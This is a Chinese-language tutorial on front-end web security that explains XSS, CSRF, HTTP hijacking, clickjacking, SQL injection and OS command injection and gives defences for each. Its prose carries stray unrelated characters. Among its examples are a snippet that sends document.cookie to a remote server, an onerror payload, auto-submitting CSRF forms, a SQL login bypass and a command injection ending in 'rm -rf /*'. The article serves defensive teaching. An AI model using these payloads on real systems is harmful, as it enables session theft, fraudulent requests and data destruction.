寫在前面:web安全在當下是個不可避免的問題,想要完成一個“安全”的產(chǎn)品劫拢,需要前后端都做好抵御攻擊和安全隱患的防護芜赌,這里筆者就前端安全的方面做一個較為全面的攻略以待備用。
為什么要攻擊
這里引用一位大牛的話:開發(fā)者不可能確保自己的應(yīng)用絕對無法被攻擊饭于,但是只要攻擊我們的時候,黑客花費的成本遠比他要可以獲取的利益大得多维蒙,黑客就不會去攻擊掰吕。總而言之颅痊,提高我們產(chǎn)品的安全系數(shù)殖熟,雖然不能做到“絕對”,但起碼能“很安全”斑响。
前端攻擊都有哪些形式
1:XXS攻擊
1.1 是什么
百度百科的定義是:XSS是一種經(jīng)常出現(xiàn)在web應(yīng)用中的計算機安全漏洞菱属,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。因此我們可以直接理解為一種javascript代碼注入舰罚。根據(jù)攻擊的來源纽门,XSS 攻擊可分為存儲型
、反射型
和DOM 型
三種沸停。
那如何實現(xiàn)代碼注入呢膜毁?我們知道,當瀏覽器遇到html中的script標簽的時候,會解析并執(zhí)行標簽中的js腳本代碼瘟滨,那么如果有心者在可輸入框中輸入含有script標簽的話候醒,就可以執(zhí)行其中的代碼了。
場景如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<input type="text" name="aa" id="aa" onchange="dochange()"/>
<div id="text"></div>
<script>
let value = '';
dochange = () => {
value = document.getElementById("aa").value;
$('div').html(value);
}
</script>
</body>
</html>
可以看到當使用jquery的DOM插入方法來顯示值的話杂瘸,能夠執(zhí)行其中的html代碼倒淫。(這里我還驗證了react的傳值方法,發(fā)現(xiàn)目前的主流框架已經(jīng)做了一些處理不會發(fā)生此類情況)败玉。所以當有心者在輸入框中執(zhí)行以下代碼敌土,就可以拿到用戶在這個域名下的cookie或者其他隱私了。
$.ajax({
url: '自己的服務(wù)器',
dataType: 'jsonp',
data: {'盜取的用戶cookie': document.cookie}
});
此類狀況的解決方式
1.1.1 如何解決
1:將script標簽的左右尖括號(><)進行轉(zhuǎn)義再賦值运翼。
2:通過前端輸入判斷禁止特殊字符的鍵入返干。
3:使用$.text()方法來動態(tài)賦值。
1.2 img標簽的注入
用戶分享圖片的正常情況下血淌,我們會給img的src附上一個url地址作為圖片的資源矩欠,但是如果我們附上的地址為\" onerror=\"javascript:alert('error');\"
時,將會執(zhí)行onerror里的方法悠夯。這就引發(fā)了注入的攻擊癌淮。
1.1.2 如何解決
如1.1.1,對圖片地址再進行轉(zhuǎn)義沦补。
1.3 url的注入
可能存在這樣的場景乳蓄,就是有時候編程人員會直接從url獲取某些值作為變量輸入,但是夕膀,這里面存在一個風險虚倒,如果有心者在URL的這個參數(shù)中,加入js代碼产舞,這樣便又會被執(zhí)行裹刮。
場景如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<input type="text" name="aa" id="aa" onchange="dochange()"/>
<div id="text"></div>
<script>
let value = '';
var param = window.location.search.split("?");
value = decodeURI(param[1]);
$('div').html(value);
</script>
</body>
</html>
1.1.3 如何解決
像這種從url中獲取的信息,筆者建議庞瘸,最好由后端獲取,在前端轉(zhuǎn)義后再行輸出赠叼。避免直接從url上面讀取擦囊。另外鏈接跳轉(zhuǎn),如 <a href="xxx" 或 location.href="xxx"嘴办,要檢驗其內(nèi)容瞬场,禁止以 javascript: 開頭的鏈接,和其他非法的 scheme
1.4 保護好cookie
如果道高一尺涧郊,還是不幸被攻擊者攻擊了贯被,又該如何。其實,很多時候彤灶,我們的敏感信息都是存儲在cookie中的(所以不要把用戶機密信息放在網(wǎng)頁中)看幼,想要阻止黑客通過js訪問到cookie中的用戶敏感信息。那么請使用cookie的HttpOnly屬性幌陕,加上了這個屬性的cookie字段诵姜,js是無法進行讀寫的,只能從后端獲取搏熄。(好像只能通過后端的方式來設(shè)置)
1.5 設(shè)置內(nèi)容安全策略
CSP其實就是一個白名單策略棚唆,允許的域才能加載,其他一律拒絕心例。
使用CSP有兩種模式:meta設(shè)置
和http響應(yīng)頭設(shè)置
meta設(shè)置
<meta http-equiv="Content-Security-Policy" content="CSP指令">
http響應(yīng)頭設(shè)置
response: {
Content-Security-Policy: "CSP指令"
}
CSP指令集合:
default-src // 默認規(guī)則宵凌,某些類型沒有特定規(guī)則時,則使用默認規(guī)則
script-src // javascript規(guī)則
style-src // 樣式規(guī)則
img-src // 圖片規(guī)則
connect-src // 鏈接規(guī)則止后,如ajax瞎惫、websocket
font-src // 字體規(guī)則
object-src // 標簽引入flash插件的規(guī)則
media-src // <video> <audio>引入多媒體的規(guī)則
frame-src // iframe加載規(guī)則
report-uri // 請求策略不被允許時,提交日志的地址
CSP指令集合:
空 // 不做限制
'none' // 不允許任何內(nèi)容
'self' // 允許同源(協(xié)議/域名/端口)
data // data協(xié)議坯门,如base64的圖片
binnie.qq.com // 指定域名
*.qq.com // 指定某個域
https://binnie.qq.com // 指定協(xié)議域名
https: // 允許https
'unsafe-inline' // 允許加載inline資源
'unsafe-eval' // 允許動態(tài)js微饥,如eval()
2 CSRF攻擊
2.1 CSRF攻擊是什么
CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”古戴。簡單得說就是網(wǎng)站中的一些提交行為和信息欠橘,被黑客利用,你在訪問黑客的網(wǎng)站的時候现恼,進行的操作肃续,會被操作到其他網(wǎng)站上。
2.2 get請求式攻擊
這種方式的攻擊在jsonp型的接口里很常見叉袍。由于jquery的jsonp方式可以跳過客戶端的同源策略跨域請求jsonp始锚;
<img src="http://bank.example/withdraw?amount=10000&for=hacker" >
在受害者訪問含有這個img的頁面后,瀏覽器會自動向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker
發(fā)出一次HTTP請求喳逛。bank.example就會收到包含受害者登錄信息的一次跨域請求瞧捌。
2.3 post請求式攻擊
這種類型的CSRF利用起來通常使用的是一個自動提交的表單,如:
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
當用戶打開安全網(wǎng)站后润文,在信息驗證有效期內(nèi)訪問攻擊網(wǎng)站的時候姐呐,表單會自動提交,相當于模擬用戶完成了一次POST操作典蝌。
2.4 CSRF特點
- 攻擊一般發(fā)起在第三方網(wǎng)站曙砂,而不是被攻擊的網(wǎng)站。
- 攻擊利用受害者在被攻擊網(wǎng)站的登錄憑證骏掀,冒充受害者提交操作鸠澈;
- 跨站請求可以用各種方式:圖片URL柱告、超鏈接、CORS笑陈、Form提交等等际度。部分請求方式可以直接嵌入在第三方論壇、文章中新锈,難以進行追蹤甲脏。
總之,CSRF通常是跨域的妹笆,因為外域通常更容易被攻擊者掌控块请。但是如果本域下有容易被利用的功能,比如可以發(fā)圖和鏈接的論壇和評論區(qū)拳缠,攻擊可以直接在本域下進行墩新,這樣就跨過同源策略,導(dǎo)致更容易受到CSRF攻擊窟坐。
2.5 CSRF防御
1:同源檢測
后端可以使用Referer Header確定來源域名海渊。因為根據(jù)HTTP協(xié)議,在HTTP頭中有一個字段叫Referer哲鸳,記錄了該HTTP請求的來源地址臣疑。對于Ajax請求,圖片和script等資源請求徙菠,Referer為發(fā)起請求的頁面地址讯沈。對于頁面跳轉(zhuǎn),Referer為打開頁面歷史記錄的前一個頁面地址婿奔。但是這種方法并非萬無一失缺狠,Referer的值是由瀏覽器提供的,并不能保證瀏覽器自身沒有安全漏洞萍摊。使用驗證 Referer 值的方法挤茄,就是把安全性都依賴于第三方(即瀏覽器)來保障。而且在部分情況下冰木,攻擊者可以隱藏穷劈,甚至修改自己請求的Referer。
2:CSRF Token
首先踊沸,當用戶打開頁面的時候囚衔,服務(wù)器需要給這個用戶生成一個Token,該Token通過加密算法對數(shù)據(jù)進行加密雕沿,一般Token都包括隨機字符串和時間戳的組合。因此猴仑,為了安全起見Token最好還是存在服務(wù)器中审轮,在頁面提交的請求攜帶這個Token肥哎,然后通過服務(wù)器驗證Token是否正確。當用戶從客戶端得到了Token疾渣,再次提交給服務(wù)器的時候篡诽,服務(wù)器需要判斷Token的有效性,驗證過程是先解密Token榴捡,對比加密字符串以及時間戳杈女,如果加密字符串一致且時間未過期,那么這個Token就是有效的吊圾。
3:添加驗證碼
在必要的且信息敏感的使用場景中加入驗證碼操作來驗證用戶信息达椰。
3:HTTP劫持
3.1 什么是HTTP劫持
HTTP劫持是在使用者與其目的網(wǎng)絡(luò)服務(wù)所建立的專用數(shù)據(jù)通道中,監(jiān)視特定數(shù)據(jù)信息项乒,提示當滿足設(shè)定的條件時啰劲,就會在正常的數(shù)據(jù)流中插入精心設(shè)計的網(wǎng)絡(luò)數(shù)據(jù)報文,目的是讓用戶端程序解釋“錯誤”的數(shù)據(jù)檀何,并以彈出新窗口的形式在使用者界面展示宣傳性廣告或者直接顯示某網(wǎng)站的內(nèi)容蝇裤。————百度百科
其實除了HTTP劫持之外還有DNS劫持频鉴,只是已經(jīng)被嚴管了栓辜,發(fā)生的概率較小。
3.2 劫持分類
按照劫持的方法不同垛孔,將劫持分為下面兩類:
跳轉(zhuǎn)型劫持:用戶輸入地址A藕甩,但是跳轉(zhuǎn)到地址B
注入型劫持:有別于跳轉(zhuǎn)型型劫持,指通過在正常的網(wǎng)頁中注入廣告代碼(js似炎、iframe等)辛萍,實現(xiàn)頁面彈窗提醒或者底部廣告等,又分為下面三個小類:
注入js類劫持:在正常頁面注入劫持的js代碼實現(xiàn)的劫持
iframe類劫持:將正常頁面嵌入iframe或者頁面增加iframe頁面
篡改頁面類劫持:正常頁面出現(xiàn)多余的劫持網(wǎng)頁標簽羡藐,導(dǎo)致頁面整體大小發(fā)生變化
3.3 防御劫持
1:使用HTTPS ,因為https 加了SSL協(xié)議贩毕,會對數(shù)據(jù)進行加密。
2:在開發(fā)的網(wǎng)頁中加入代碼過濾仆嗦,利用JavaScript代碼檢查所有的外鏈是否屬于白名單辉阶。例如在window 監(jiān)聽 DOMNodeInserted 事件,上報插入的dom瘩扼、分析插入的dom 信息谆甜。(通常匹配所有的url,逐個比較是否白名單域名,如果不是集绰,則判定為劫持澳骤,上報的同時,移除dom.parentNode.removeChild(dom));
4:點擊劫持
4.1:什么是劫持
點擊劫持是一種視覺欺騙的攻擊手段魄宏。攻擊者將需要攻擊的網(wǎng)站通過 iframe 嵌套的方式嵌入自己的網(wǎng)頁中,并將 iframe 設(shè)置為透明改淑,在頁面中透出一個按鈕誘導(dǎo)用戶點擊。比如浴讯,用戶在登陸 A 網(wǎng)站的系統(tǒng)后朵夏,被攻擊者誘惑打開第三方網(wǎng)站,而第三方網(wǎng)站通過 iframe 引入了 A 網(wǎng)站的頁面內(nèi)容榆纽,用戶在第三方網(wǎng)站中點擊某個按鈕(被裝飾的按鈕)仰猖,實際上是點擊了 A 網(wǎng)站的按鈕。
4.2 如何防御
設(shè)置X-FRAME-OPTIONS
X-FRAME-OPTIONS
是一個 HTTP 響應(yīng)頭奈籽,在現(xiàn)代瀏覽器有一個很好的支持饥侵。這個 HTTP 響應(yīng)頭 就是為了防御用 iframe 嵌套的點擊劫持攻擊。
該響應(yīng)頭有三個值可選唠摹,分別是
-
DENY
: 表示頁面不允許通過 iframe 的方式展示 -
SAMEORIGIN
: 表示頁面可以在相同域名下通過 iframe 的方式展示 -
ALLOW-FROM
: 表示頁面可以在指定來源的 iframe 中展示
5:SQL注入
5.1:SQL注入是什么
SQL注入
是一種常見的Web安全漏洞爆捞,攻擊者利用數(shù)據(jù)庫這個漏洞,可以訪問或修改數(shù)據(jù)勾拉,或者利用潛在的數(shù)據(jù)庫漏洞進行攻擊煮甥。
5.2:SQL注入攻擊過程
比如在前端的登錄表單提交時
<form action="/login" method="POST">
<p>Username: <input type="text" name="username" /></p>
<p>Password: <input type="password" name="password" /></p>
<p><input type="submit" value="登陸" /></p>
</form>
后端的 SQL 語句可能是如下這樣的:
let querySQL = `
SELECT *
FROM user
WHERE username='${username}'
AND psw='${password}'
`;
如果有一個惡意攻擊者輸入的用戶名是 admin' --
,密碼隨意輸入藕赞,就可以直接登入系統(tǒng)了,因為
SELECT * FROM user WHERE username='admin' --' AND psw='xxxx'
在 SQL 中,' --
是閉合和注釋的意思成肘,--
是注釋后面的內(nèi)容的意思,所以查詢語句就變成了:
SELECT * FROM user WHERE username='admin'
所以斧蜕,一次SQL注入的過程包括以下幾個過程:
1.獲取用戶請求參數(shù)
2.拼接到代碼當中
3.SQL語句按照我們構(gòu)造參數(shù)的語義執(zhí)行成功
SQL注入的本質(zhì):數(shù)據(jù)和代碼未分離双霍,即數(shù)據(jù)當做了代碼來執(zhí)行。
5.3:SQL注入防御
1:嚴格限制Web應(yīng)用的數(shù)據(jù)庫的操作權(quán)限批销,給此用戶提供僅僅能夠滿足其工作的最低權(quán)限洒闸,從而最大限度的減少注入攻擊對數(shù)據(jù)庫的危害
2:后端代碼檢查輸入的數(shù)據(jù)是否符合預(yù)期,嚴格限制變量的類型均芽,例如使用正則表達式進行一些匹配處理丘逸。
3:對進入數(shù)據(jù)庫的特殊字符(',"掀宋,\深纲,<,>劲妙,&湃鹊,*,; 等)進行轉(zhuǎn)義處理镣奋,或編碼轉(zhuǎn)換币呵。
4:所有的查詢語句建議使用數(shù)據(jù)庫提供的參數(shù)化查詢接口,參數(shù)化的語句使用參數(shù)而不是將用戶輸入變量嵌入到 SQL 語句中侨颈,即不要直接拼接 SQL 語句余赢。
6:OS注入
6.1:OS注入是什么
OS注入和SQL注入類似掸驱,OS命令注入是針對操作系統(tǒng)的攻擊。OS命令注入攻擊指通過Web應(yīng)用没佑,執(zhí)行非法的操作系統(tǒng)命令達到攻擊的目的。只要在能調(diào)用Shell函數(shù)的地方就有存在被攻擊的風險温赔。倘若調(diào)用Shell時存在疏漏蛤奢,就可以執(zhí)行插入的非法命令。因為命令注入攻擊可以向Shell發(fā)送命令陶贼,讓W(xué)indows或Linux操作系統(tǒng)的命令行啟動程序啤贩。也就是說,通過命令注入攻擊可執(zhí)行操作系統(tǒng)上安裝著的各種程序拜秧。
6.2:OS注入攻擊過程
假如需要實現(xiàn)一個需求:用戶提交一些內(nèi)容到服務(wù)器痹屹,然后在服務(wù)器執(zhí)行一些系統(tǒng)命令去返回一個結(jié)果給用戶
// 以 Node.js 為例,假如在接口中需要從 github 下載用戶指定的 repo
const exec = require('mz/child_process').exec;
let params = {/* 用戶輸入的參數(shù) */};
exec(`git clone ${params.repo} /some/path`);
params.repo
傳入的是 https://github.com/admin/admin.github.io.git
確實能從指定的 git repo 上下載到想要的代碼枉氮。
但是如果 params.repo 傳入的是 https://github.com/xx/xx.git && rm -rf /* &&
恰好你的服務(wù)是用 root 權(quán)限起的就糟糕了志衍。
6.3:OS注入防御
- 后端對前端提交內(nèi)容進行規(guī)則限制(比如正則表達式)。
- 在調(diào)用系統(tǒng)命令前對所有傳入?yún)?shù)進行命令行參數(shù)轉(zhuǎn)義過濾聊替。
- 不要直接拼接命令語句楼肪,借助一些工具做拼接、轉(zhuǎn)義預(yù)處理